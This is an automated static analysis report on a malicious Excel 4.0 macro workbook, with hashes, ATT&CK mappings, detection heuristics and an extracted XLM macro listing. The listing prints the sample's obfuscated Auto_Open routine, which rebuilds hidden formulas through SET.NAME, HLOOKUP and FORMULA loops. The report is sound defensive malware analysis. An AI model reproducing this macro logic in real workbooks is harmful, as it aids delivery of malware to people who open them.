Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 70a89f7a6edc643b…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:59 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: aa96389495cc5f553c6cb99cc65aa2dd SHA-1: 009279eb3e8b912318adaba6731c2c37355b4257 SHA-256: 70a89f7a6edc643b75d777dea2bfffb248d83d4103f7c79ba1ed71614cb6e284
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook detected with critical heuristics for Auto_Open functionality and the use of dangerous formula APIs, specifically 'RUN'. This indicates the workbook is designed to automatically execute commands upon opening. No specific family could be identified, but the technique strongly suggests a downloader or initial execution stage.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6535 bytes
SHA-256: 193b9e7126d8fdf45b52b35943a85b9af9456cb40bc3ed3b7512ab7181e5bbd6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GikXdL
' 0018     27 LABEL : Cell Value, String Constant - AIXXhnMGdRiY len=0 
' 0018     21 LABEL : Cell Value, String Constant - AlUQTs len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H183 
' 0018     27 LABEL : Cell Value, String Constant - BQySnvUsLhVo len=0 
' 0018     22 LABEL : Cell Value, String Constant - DkQuSvU len=0 
' 0018     22 LABEL : Cell Value, String Constant - JmdMgWE len=0 
' 0018     26 LABEL : Cell Value, String Constant - KTLvKDhCgXz len=0 
' 0018     23 LABEL : Cell Value, String Constant - lBIeRDza len=0 
' 0018     25 LABEL : Cell Value, String Constant - LeXSIdaWRj len=0 
' 0018     20 LABEL : Cell Value, String Constant - pCRsP len=0 
' 0018     24 LABEL : Cell Value, String Constant - PXpkdEZpQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - rNiooHkl len=0 
' 0018     20 LABEL : Cell Value, String Constant - rSVaU len=0 
' 0018     24 LABEL : Cell Value, String Constant - RUakAtvHS len=0 
' 0018     20 LABEL : Cell Value, String Constant - sBHOT len=0 
' 0018     26 LABEL : Cell Value, String Constant - SrTOfwmzVSv len=0 
' 0018     25 LABEL : Cell Value, String Constant - uEfaPhTaKN len=0 
' 0018     24 LABEL : Cell Value, String Constant - xbKjjUcAw len=0 
' 0018     25 LABEL : Cell Value, String Constant - xNHHjwoabD len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZMBSeXxK len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZQPFDbgKWkD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GikXdL,H96,"SET.NAME("ZMBSeXxK",VALUE("0"))",""
'  GikXdL,H98,"SET.NAME("uEfaPhTaKN",ZMBSeXxK)",""
'  GikXdL,H101,"SET.NAME("PXpkdEZpQ",ZMBSeXxK)",""
'  GikXdL,H104,"SET.NAME("LeXSIdaWRj",COUNTA(DkQuSvU))",""
'  GikXdL,H109,"SET.NAME("ZQPFDbgKWkD",COUNTA(pCRsP))",""
'  GikXdL,H111,[],""
'  GikXdL,H116,"SET.NAME("rSVaU","")",""
'  GikXdL,H120,"uEfaPhTaKN",""
'  GikXdL,H123,"SET.NAME("RUakAtvHS",HLOOKUP("*",DkQuSvU,uEfaPhTaKN,FALSE))",""
'  GikXdL,H128,"rNiooHkl",""
'  GikXdL,H132,"SET.NAME("SrTOfwmzVSv",ZMBSeXxK)",""
'  GikXdL,H135,[],""
'  GikXdL,H137,"SrTOfwmzVSv",""
'  GikXdL,H142,"AlUQTs",""
'  GikXdL,H146,"BQySnvUsLhVo",""
'  GikXdL,H151,"xNHHjwoabD",""
'  GikXdL,H156,"SET.NAME("AIXXhnMGdRiY",VALUE(HLOOKUP("*",pCRsP,xNHHjwoabD,FALSE)))",""
'  GikXdL,H158,"xbKjjUcAw",""
'  GikXdL,H160,"rSVaU",""
'  GikXdL,H163,"PXpkdEZpQ",""
'  GikXdL,H168,NEXT(),""
'  GikXdL,H170,"JmdMgWE",""
'  GikXdL,H172,"SET.NAME("f",INT(T(FORMULA(T(rSVaU)&"",""&T(JmdMgWE)))))",""
'  GikXdL,H174,"KTLvKDhCgXz",""
'  GikXdL,H176,NEXT(),""
'  GikXdL,H180,RETURN(),""
'  GikXdL,H204,"SET.NAME("lBIeRDza",H96)",""
'  GikXdL,H206,"DkQuSvU",""
'  GikXdL,H210,"SET.NAME("pCRsP",R42C15)",""
'  GikXdL,H212,"SET.NAME("KTLvKDhCgXz",220)",""
'  GikXdL,H217,"SET.NAME("sBHOT",8)",""
'  GikXdL,H219,lBIeRDza(),""
'  GikXdL,H220,HALT(),""

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